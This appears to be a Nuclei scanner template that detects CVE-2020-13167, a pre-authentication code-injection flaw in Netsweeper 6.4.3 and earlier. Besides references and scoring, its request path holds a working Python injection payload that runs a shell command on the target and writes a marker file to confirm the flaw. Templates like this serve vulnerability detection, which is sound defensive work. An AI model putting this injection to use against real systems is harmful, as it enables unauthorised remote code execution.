id: CVE-2020-13167
info:
name: Netsweeper <=6.4.3 - Python Code Injection
author: dwisiswant0
severity: critical
description: |
Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
impact: |
Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
remediation: |
Upgrade to a patched version of Netsweeper (>=6.4.4) to mitigate this vulnerability.
reference:
- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
- https://nvd.nist.gov/vuln/detail/CVE-2020-13167
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-13167
cwe-id: CWE-78
epss-score: 0.97405
epss-percentile: 0.99917
cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: netsweeper
product: netsweeper
tags: cve2020,cve,netsweeper,rce,python,webadmin
variables:
rand_str: "{{randstr}}"
cmd: 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'
http:
- method: GET
path:
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/out"
headers:
Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "{{rand_str}}"
- type: status
status:
- 200
# digest: 4b0a004830460221008c62562d86e9062675832a60abae347f5564380cd4d1f3143a04618fc023ca9a022100c69d9b44376226c036805afae776400ac22ff3adc49ae438eefea5c81b5aac9a:922c64590222798bb761d5b6d8e72950
